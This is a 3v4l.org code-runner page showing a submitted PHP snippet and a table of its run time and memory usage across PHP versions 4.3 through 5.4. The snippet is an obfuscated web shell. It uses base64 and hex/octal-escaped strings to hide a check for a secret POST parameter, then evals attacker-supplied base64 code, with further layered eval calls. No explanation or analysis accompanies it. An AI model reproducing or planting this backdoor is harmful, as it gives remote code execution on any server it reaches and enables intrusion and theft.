3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_= "aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\"; $__=\"JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\"; $___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"; if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) { eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); } $code=base64_decode($_); eval($code); $___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"; echo($___($__)); eval($___($__)); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.310.0090.03612.49
5.4.300.0070.03712.49
5.4.290.0080.03812.50
5.4.280.0050.03912.39
5.4.270.0080.03412.39
5.4.260.0060.03712.39
5.4.250.0040.04012.39
5.4.240.0050.03812.39
5.4.230.0040.03912.38
5.4.220.0080.04412.38
5.4.210.0060.03412.38
5.4.200.0060.03712.38
5.4.190.0050.03612.38
5.4.180.0060.03612.38
5.4.170.0080.03412.39
5.4.160.0070.03612.38
5.4.150.0080.03912.38
5.4.140.0070.03612.07
5.4.130.0060.03512.05
5.4.120.0050.03612.01
5.4.110.0060.04012.01
5.4.100.0080.04612.01
5.4.90.0080.03712.01
5.4.80.0100.03212.01
5.4.70.0020.03812.00
5.4.60.0060.03812.00
5.4.50.0070.03412.01
5.4.40.0030.03711.99
5.4.30.0050.04111.99
5.4.20.0020.04011.98
5.4.10.0080.03311.99
5.4.00.0050.03811.48
5.3.280.0090.04612.71
5.3.270.0110.03412.72
5.3.260.0080.04312.72
5.3.250.0090.04412.72
5.3.240.0070.04012.72
5.3.230.0080.03712.71
5.3.220.0100.04112.68
5.3.210.0130.05012.68
5.3.200.0060.04512.68
5.3.190.0110.04112.68
5.3.180.0060.03812.68
5.3.170.0040.04012.66
5.3.160.0090.03612.68
5.3.150.0120.03212.68
5.3.140.0070.03812.66
5.3.130.0070.03712.66
5.3.120.0020.04312.66
5.3.110.0080.03812.66
5.3.100.0070.04512.12
5.3.90.0040.03812.08
5.3.80.0050.03712.07
5.3.70.0070.03512.07
5.3.60.0040.03812.06
5.3.50.0090.03312.00
5.3.40.0050.03712.00
5.3.30.0110.03111.95
5.3.20.0040.03811.72
5.3.10.0050.03611.70
5.3.00.0020.04111.68
5.2.170.0070.0419.18
5.2.160.0060.0329.18
5.2.150.0070.0309.18
5.2.140.0120.0279.18
5.2.130.0110.0439.14
5.2.120.0100.0399.14
5.2.110.0100.0409.15
5.2.100.0090.0279.14
5.2.90.0020.0419.14
5.2.80.0060.0319.14
5.2.70.0100.0269.14
5.2.60.0070.0279.10
5.2.50.0060.0329.07
5.2.40.0070.0299.04
5.2.30.0070.0369.02
5.2.20.0070.0279.00
5.2.10.0050.0288.92
5.2.00.0060.0288.79
5.1.60.0060.0238.08
5.1.50.0040.0298.08
5.1.40.0070.0218.05
5.1.30.0090.0218.40
5.1.20.0020.0288.42
5.1.10.0050.0248.15
5.1.00.0020.0278.15
5.0.50.0030.0206.62
5.0.40.0070.0196.49
5.0.30.0040.0316.29
5.0.20.0040.0206.26
5.0.10.0030.0206.25
5.0.00.0020.0326.24
4.4.90.0020.0214.78
4.4.80.0030.0224.75
4.4.70.0050.0204.76
4.4.60.0040.0214.76
4.4.50.0030.0214.77
4.4.40.0040.0314.71
4.4.30.0050.0194.76
4.4.20.0020.0174.85
4.4.10.0050.0134.85
4.4.00.0010.0274.76
4.3.110.0050.0134.67
4.3.100.0030.0154.66
4.3.90.0040.0134.63
4.3.80.0030.0244.58
4.3.70.0020.0154.63
4.3.60.0010.0204.63
4.3.50.0040.0154.63
4.3.40.0050.0234.54
4.3.30.0020.0183.29
4.3.20.0040.0243.26
4.3.10.0020.0213.22
4.3.00.0030.0207.93

preferences:
143.18 ms | 1394 KiB | 7 Q